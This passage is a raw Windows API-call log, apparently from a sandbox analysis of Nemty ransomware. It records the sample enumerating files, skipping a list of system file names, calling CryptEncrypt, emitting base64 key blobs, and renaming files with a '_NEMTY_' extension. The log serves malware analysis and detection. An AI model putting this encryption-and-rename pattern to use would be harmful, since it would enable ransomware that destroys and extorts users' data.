pszString="dAf6HRNCaF08c8tXKT9+MMs/plotZoVE1FXSbWGbc0lZ8aKHKNCj5nq2Qg1Lj+eB\r\nAaiQQsFJjXwajqQpLrmLNfnNpY55Lv1UTSmLGHnNh3ZTkTsNoaWU5eWUDMESQJIu\r\ntx9L3wwJGPdb2+FeylMBGKAaZ2qWeCi6vxynRvUEowGRYfBdn0tSUqZngCJcKSax\r\nCkOdCDn2bg2zfYUTL3OoosbwyS7yj7b39PgkV6bZm6iklflzRoMxo2YPHE5+A9o2\r\n6T008HGxjvKZyo2dAR6vJr25+gyVE2bSdlzKSkiukbRclaVuGnVrfGGu2CHNrM69\r\nkDAleJo1a+PuJfy5UhC+XQ==\r\n", pcchString=0x653e91c) returned 1 [0090.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0090.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.307] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.308] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.415] CloseHandle (hObject=0xffffffff) returned 0 [0090.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0090.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0090.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0090.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0090.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.416] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0090.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2=".") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="..") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="...") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="windows") returned -1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="rsa") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="NTDETECT.COM") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="ntldr") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="MSDOS.SYS") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="IO.SYS") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="boot.ini") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="boot.ini") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="ntuser.dat") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="desktop.ini") returned 1 [0090.416] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="CONFIG.SYS") returned 1 [0090.417] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="RECYCLER") returned 1 [0090.417] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.417] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="bootmgr") returned 1 [0090.417] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="programdata") returned 1 [0090.417] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="appdata") returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0090.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0090.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0090.417] Sleep (dwMilliseconds=0x5) [0090.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe98c4790, dwHighDateTime=0x1d561e7)) [0090.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe98c4790, dwHighDateTime=0x1d561e7)) [0090.431] GetLastError () returned 0x5 [0090.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.431] GetLastError () returned 0x5 [0090.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.431] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0090.431] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="WwfnAr6Ncz+avhI/5vL3xiN3sG3RubwphDfg784Zi/0g/IKLhXAe2YycEij3Hj+F\r\nWKUFRRProR37Kr5ZRv6fj33d5C+qYqxcaHMcPowLV0yYSdoBTjcpArzLMmHAhx57\r\npm1af9PoDQkrlDFFir/ON8QC4CbZR1h3JhLUA4J42/N27UmGYd1CaAzaWezEco2Y\r\noRhkvqocUpNZBlXo2m9ud/8vavczhOxpIQmA4qFHeME3k1FdZuk3QSz6IhX5KtP0\r\ngR0kv+GgBcp5zoAbfMPreGqGyWZqx7TJeo5GCTn4XJJjtnMr+C6VOc4Y8/FcQEz5\r\nFbISeg7B+laEKmbiYnhZ0A==\r\n", pcchString=0x653e91c) returned 1 [0090.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0090.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.432] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.432] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.432] ReadFile (in: hFile=0xffffffff, 